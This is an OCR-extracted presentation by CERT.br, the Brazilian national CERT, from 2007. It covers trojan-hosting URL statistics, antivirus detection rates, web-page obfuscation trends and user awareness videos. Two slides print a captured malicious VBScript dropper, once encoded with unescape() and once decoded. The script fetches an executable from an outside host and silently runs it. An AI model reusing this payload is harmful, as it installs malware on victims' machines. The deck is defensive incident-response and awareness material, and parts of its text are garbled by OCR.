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CERT.br — Computer Emergency Response Team Brazil

NIC.br - Network Information Center Brazil
CGl.br - Brazilian Internet Steering Committee

egibr  nie

CERT.br - Brazilian National CERT Cerv

+ Created in 1997 to handle computer security incident reports and
activities related to networks connected to the Internet in Brazil.

National focal point for reporting security incidents

Establish collaborative relationships with other entities
— Help new CSIRTSs to establish their activities

— Provide training in incident handling

— Produce best practices’ documents

— Help raise the security awareness in the country

— Maintain public statistics about incidents and abuse

http://www.cert.br/mission.html
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Brazilian Internet Steering Committee (CGl.br) Structure

GOVERNMENT N.S. CIVIL SOCIETY
1.2 3 4 5 6 7 8 9 {10 11 12 13 (14 15 16 7 18 19 20 21
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nieor

. ; : o

hr cerGhr eesiedr WORRES | antisgamr
1 - Ministry of Science and Technology (Coordination) 11 - Internet Service Providers
2 — Ministry of Communications 12 — Telecommunication Infrastructure Providers
3 — Presidential Cabinet 13 - Hardware and Software Industries
4 — Ministry of Defense 14 — General Business Sector Users
5 — Ministry of Development, Industry and Foreign Trade 15 — Non-governmental Entity
6 — Ministry of Planning, Budget and Management 16 — Non-governmental Entity
7 — National Telecommunications Agency 17 — Non-governmental Entity

8 — National Council of Scientific and Technological Development 18 — Non-governmental Entity
9 — National Forum of Estate Science and Technology Secretaries 19 — Academia
10 - Internet Expert 20 — Academia
21 - Academia
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Our Parent Organization:
The Brazilian Internet Steering Committee - CGl.br

CGl.br is a multi-stakeholder organization that, among the diverse responsibilities,
has the main attributions:

» to propose policies and procedures related to the regulation of Internet activities
+ to recommend standards for technical and operational procedures

+ to establish strategic directives related to the use and development of Internet in
Brazil

+ to promote studies and technical standards for the network and services’
security in the country

+ to coordinate the allocation of Internet addresses (IP) and the registration of
domain names using <.br>

» to collect, organize and disseminate information on Internet services,
including indicators and statistics

http://www.cgi.br/internacional/ . i
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Agenda

» Updated statistics

— New crimeware daily rates

— Antivirus detection rates

» Latest tren

ds

* User awareness initiatives
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Overview of the System that Processes the Malware

[

emails trojanfilter

URLs extracted

Extract suspicious
URLs from emails

from malware analysis

Select new malware
from malware’s list

malware files

Send malware copy
to each AV vendor
that does not detect
the malware yet

email with the
malware copy

(confirmed)
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URLs

Fetch and store malware
candidate

Using AV, confirm if file is

Get IP contacts

really a malware

Create a list with the
confirmed URLs

add new URLs

istronline
Try to fetch malware in
order to check if it is
still online
Update stats DB including

the new date and status
of the malware URL

list entry Create email with the
list entry data and a
- email template
IP, date, URL,

Send notification
asking to remove
the malware

AV signature

email with the
notification
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2007 Statistics: January 1st - September 2nd cercdr

Category Total
Unique URLs 13407
Hosts 7359
Domains 5439 Includes:
Contacts for the domains/networks 1720 giii%%i;sgers
|P Addresses 3086 * Trojan Downloaders
IP Allocation’s Country Codes 73
Unique trojan samples (unique hashes) 11383
Unique trojan samples / day ~68.57 | | Does NOT include:
Trojans’ file names 6977 | | * Bots/Botnets
File Extensions 77 * Worms
AntiVirus signatures (unique) 1487
AntiVirus signatures (grouped by “family”) 89
Email notifications sent by CERT.br 11746
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Top 15 Signature “Families”

Notifications x Signatures [2007-01-01 — 2007-09-02]

T T T T T T T T T T T T T
01-N/A !
02 - Trojan-Downloader.Win32 Banload !
03 - Trojan-Spy Win32 Banker !
04 - Trojan-Spy Win32 .Bancos !
05 - Trojan-Downloader Win32 Agent !
06 - Trojan-Downloader.Win32 Delf !
07 - Trojan-Downloader Win32 Small !
08 - Trojan-Spy Win32 Banpaes !
09 - Trojan-Downloader.Win32 VB !
1
|
1
1
1

6000

5000

4000
10 - Trojan-Spy Win32.Banbra
11 - Virus Win32 Parite

12 - Trojan-Spy.Win32 Delf

13 - Trojan.Win32 Agent |
14 - Trojan-Downloader.Win32 Dadobra

15 - Trojan-Proxy.Win32 Delf

3000

2000

1000

o1 02 03 04 05 06 07 08 09 10 " 12 13 14 15 others
33.78%24.96% 12.47% 699% 342% 340% 2.04% 191% 173% 162% 107% 084% 083% 0.71% 071% 350 %
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File Extensions

Notifications x Extensions [2007-01-01 -- 2007-09-02]

cerar

T
8997

9000 [

8000

7000

6000

5000

4000

3000

2000

1000

exe scr Jleke] cmd php aif com zip bmp
53.52% 16.31% 8.85% 4.69% 2.96%  2.39% 2.05% 1.96% 1.57%
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1.51%

others
4.19%
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IPs Hosting Malware - RIRs Allocation Information

Notifications x Country Codes [2007-01-01 -- 2007-09-02]

cerar

5111
5000

4000 [

3277

3000 [

2000 1920

1245

L 861 856
1000 688

us RU BR FR CN DE KR AR IT
30.40% 19.49% 11.42% 741% 512% 509% 4.09% 1.78% 1.77%
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AntiVirus Detection Rate: April 15t, 2005 - November 5%, 2006

Antivirus | Samples | Samples not | Samples | Detection

Vendor Tested detected Detected | Rate (%)
Vendor A 11358 2339 9019 79.41 only 5
Vendor B 9256 1909 7347 79.38 vemlers vl
Vendor C 8040 1660 6380 79.35 the detection
Vendor D 11381 2442 8939 78.54 rate above
VendorE | 11377 3129 8248 |  72.50 70%
Vendor F 11300 4438 6862 60.73 ~70% of
Vendor G 11187 5209 5978 53.44 VERGRS Wil
Vendor H 11381 5390 5991 52.64 less than
Vendor | 11380 5610 5770 50.70 40%
Vendor K 11377 6428 4949 43.50
Vendor L 2391 1522 869 36.34
Vendor N 11383 8455 2928 25.72 Previous top results:
Vendor O 11370 8475 2895 25.46 Vendor E - 87.62%
Vendor P 11383 8540 2843 24.98 Vendor B - 81.97%
Vendor Q 9941 7630 2311 23.25
Vendor T 11382 8947 2435 21.39
Vendor Z 1144 967 177 15.47
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Detection Rate - Monthly

AV Vendors Detection Rate (%) [2007-01-01 -- 2007-09-02]
100 T T T T T T

Weeks (2007)

VendorB = VendorM = Vendor H Vendor V. = Vendor X
Vendor E =™ VendorQ =™ Vendor Y Vendor T
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Trojan Samples Sent - Monthly

Trojan Samples Sent [2007-01-01 -- 2007-09-02]

T T T T T T

500 [

Weeks (2007)

VendorB = VendorM =~ Vendor H Vendor V
Vendor E ™ VendorQ —™ Vendor Y Vendor T

Vendor X
reference
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Latest Trends OETUJ][

+ Widespread use of obfuscation in the webpages — impact in
detection of and response to new malware URLs

— “Proprietary” obfuscation (e.g. xor, ceaser cipher, etc)

— JScript.Encode
http://en.wikipedia.org/wiki/JScript.Encode

“JScript.Encode is a method created by Microsoft used to encode both
server and client-side JavaScript or VB Script source code in order to
protect the source code from copying.”

— JavaScript unescape () function
http://www.javascripter.net/fag/unescape.htm
unescape("It%27s%20me%21")
// result: "It's me!"
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Levels of obfuscation

E-mail with a link BiEl PR
t/?l:bn;)j;ous JScript.Encode
Xxor
Unescape()
VBScript
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Example (1/3)
File Edit View History Bookmarks Tools Help
<_ v v \(:J L/L‘ L http://www.onmic.it/.cgi/modulo.htm v| B '

(o v | A search ~ [fHup ~

|| Americanas.com modul... [J

n n » AMERICANAS.COM
K BEMU DIDC _—

Modulo de seguranga

Este site agora € necessario o uso
do méddulo de seguranga.

Baixar médulo | Sair do site

* Caso desconhega esta compra, cancele imediatamente clicando aqui.
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Example (2/3) Cersdr

<SCRIPT>

<!--

document.write (unescape ("%3Cscript%20language%$3D%22VBScript%22%3E%0A%20%20%20%2
Oon%20error%20resume320next¥0A%0A%20%20%20%20Set%200bj1%20%3D%20document .create
Element%28%220bject%22%29%0A%20%20%20%200bjl.setAttribute$20%22classid%22%2C%20
%$22clsid%3ABD96C556-65A3-11D0-983A~
00CO04FC29E36%22%0A%20%20%20%20est1%3D%22Microsoft.%$22%26%22XMLHTTP$22%20%0A%20%
20%20%205et%200b32%20%3D%200bjl.CreateObject%28est1%2C%22%22%29%0A%0A%0A%20%20%
20%20est%$3D%22Ad0%22%26%22db.%22%26%225tr%22%26%22eam%22%0A%20%20%20%20set%200b
73%20%3D%200bjl.createobject%28est%2C%22%22%29%0A%20%20%20%200bj3.type%20%3D%20
1%0A%0A%20%20%20%20est2%3D%22GET$22%0A%20%20%20%200bj2.0pen%20est2%2C%20%22http
%$3A//www.onmic.it/.cgi/get.exe%22%2C%20False%0A%20%20%20%200bj2.5end%0A%20%20%2
0%20%0A%0A%20%20%20%205et%20F%20%3D%200bjl.createobject%28%22Scripting.FileSyst
emObject$22%2C%22%22%29%0A%20%20%20%20set%20pasta%20%3D%20F.GetSpecialFolder%28
2%29%0A%20%20%20%20£f1%3D%22ssvsservices.exe%22%0A%20%20%20%20£1%3D%20F.BuildPat
h%28pasta%2Cfi%29%0A%20%20%20%20%0A%0A%20%20%20%200bj3.0pen%0A%20%20%20%200b7j3.
write%200bj2.responseBody%20%20%20%20%0A%20%20%20%200bj3.savetofile$20£i%2C2%0A
%$20%20%20%200bj3.close%0A%0A%0A%20%20%20%205et%200b75%20%3D%200bjl.createobject
%$28%22Shell.Application%22%2C%22%22%29%0A%20%20%20%20%0A%20%20%20%200bj5.ShellE
xecute%20£i%2C%22%22%2C%22%22%2C%220pen%22%2C0%0A%3C/script%3E")) ;

//==>

</SCRIPT>
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Example 3/3 Cersdr

<script language="VBScript">
on error resume next

Set objl = document.createElement ("object")

objl.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
estl="Microsoft."&"XMLHTTP"

Set obj2 = objl.CreateObject(estl,"")

est="Ado"&"db."&"Str"&"eam"
set obj3 = objl.createobject (est,"")
obj3.type = 1

est2="GET"
obj2.0pen est2, "http://www.onmic.it/.cgi/get.exe", False
obj2.Send

set F = objl.createobject ("Scripting.FileSystemObject™,"")
set pasta = F.GetSpecialFolder(2)

fi="ssvsservices.exe"

fi= F.BuildPath (pasta, fi)

obj3.open

obj3.write obj2.responseBody
obj3.savetofile fi,2
obj3.close

set obj5 = objl.createobject ("Shell.Application","")

obj5.ShellExecute fi,"","","open",0
</script>
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User Awareness
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Antispam.br Website - Malicious Code Through E-mail

000

Antispam.br

cerbar

(<= (&) () () | b ntoswww antispam brniposimatware/

Comité Gestor da Internet no Brasil
Sobre oNIC.br | Indicadores

antispamar

causados pelo spam
curiosidades
Como identificar

FAQ

Links
Glossario
Mapa do site

Busea

|

Cncer @ antspambr
€ certor " Registro.or

| PTTbr

Inicio - Administradores de redes - Estatisticas - Sobre o Antispam.br

Tipos de spam
A lottar

Cédigos maliciosos

im ago i um
Diversos tipos de c4digos maliciosos s&o inseridos em e-mails, contendo
textos que se valem de métodos de engenharia social para convencer o
usuério a executar o cddigo malicioso em anexo. Em geral, estes codigos
também so utiizados em spams enviados por fraudadores.

Dentre os codigos mais comuns enviados via spam, pode-se citar as
seguintes categorias:

+ Backdoor: Programa que permite a um invasor retornar a um o
computador comprometido. Normalmente este programa & colocado
de forma a n&o ser notado.

« Spyware: Termo utiizado para se referir a uma grande categoria de
software que tem o objetivo de monitorar atividades de um sistema e
enviar as informagdes coletadas para tercairos. Podem ser utilizados
de forma legitima, mas, na maioria das vezes, s&o utiizados de forma
dissimulada, n&o autorizada e maliciosa.

egir

Registro
CERT.br

« Keylogger: Programa capaz de capturar e armazenar as teclas digitadas pelo usuario no teclado de um computador. Normalmente, a

ativagéo do keylogger é condicionada a uma agao prévia do usuario, como por exemplo, apés 0 acesso a um site de comércio

eletrdnico ou Internet Banking, para a captura de senhas bancérias ou nimeros de cartoes de crédito.

« Screenlogger: Forma avancada de keylogger, capaz de armazenar a posic&o do cursor e a tela apresentada no monitor, nos momentos

em que o mouse ¢ clicado, ou armazenar a regi&o que circunda a posigéo onde 0 mouse é clicado.

« Cavalo de tréia: Programa, normalmente recebido como um “presente” (por exemplo, cartao virtual, album de fotos, protetor de tela,

jogo, etc), que além de executar fungdes para as quais foi aparentemente projetado, também executa outras fungdes normalmente

maliciosas e sem o conhecimento do usuério.

APWG 2007 General Meeting - October 2007
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Antispam.br Website - Fraud, Phishing, Scam, etc

R (@] [ b nttohwww antispam britiposiraudes! ol 6o |G~

-
Comité Gestor da Internet no Brasil nle ﬂ [‘
Sobre oNIC.br | Indicadores | /ARHiSpambr | PTT.br

Inicio - Administradores de redes - Estatisticas - Sobre o Antispam.br

-3

antispamJr

Problemas

causados pelo spam Al

Origem e 1,

curiosidades Fraudes Ly |

Tipos de spam Normalmente, no & uma tarefa simples atacar e fraudar dados em um N\
[ Comolenticar | Servdorde uma instiigdo bancria ou comercil. Enao, atacantss tém [\

concentrado seus esforgos na exploragéo de fragilidades dos usuarios, para f f
Prevenco realizar fraudes comerciais e bancarias através da Internet
Boas priticas Para obter vantagens, os fraudadores tém utiizado amplamente e-mails com

0 I‘ﬂ Registro
I | ceRT.br

discursos que, na maioria dos casos, envolvem engenharia social e que I
Dicas tentam persuadir o usuario a fornecer seus dados pessoais e financeiros. Em | L 4
’W muitos casos, 0 usudrio & induzido a instalar algum c6digo malicioso ou ))
acessar uma pagina fraudulenta, para que dados pessoais e sensiveis, como [
FAQ senhas bancarias e nimeros de cartoes de crédito, possam ser furtados. | A

Desta forma, é muito importante que usuarios de Internet tenham certos

Links cuidados com os e-mails que recebem e ao utilizarem servicos de comércio
eletrdnico ou Intemet Banking.

Glossério

Créditos Sumério

Mapa dosite Golpes (Scams)

Phishing: situagdes em que pode ocorrer este tipo de fraude
Busea Mensagens que contém links para programas maliciosos
Como o fraudador consegue acesso ao seu computador

Como identificar

R dagde:
Cncer @ Antspambr ecomendagoes

" cerTbr " Rogistro.br

Golpes (Scams)
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Cartoons

* 4 videos - 4 minutes each
* The Internet
* The Intruders
« Spam
« The Defense *)
— Freely available on the Internet
— In several formats and resolutions

» Possible future development: booklet or comic book
— To distribute with the DVD version
» Schools, presentations, libraries, internet cafes, etc
— Still in discussion (funding and sponsors issues)

*)To be released November, 2007
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Video 1: The Internet

NAVEGAR
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Video 3: Spam

|
~J

Localizar um contato..

8 Oscar- Freelas para redator.
Robert- La donna € mobile

Rodrigon-

cerar
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Additional References

» This presentation (by the end of the month)
http://www.cert.br/docs/presentations/

 Awareness videos
http://www.antispam.br/videos/
« CERT.br

Computer Emergency Response Team Brazil
http://www.cert.br/
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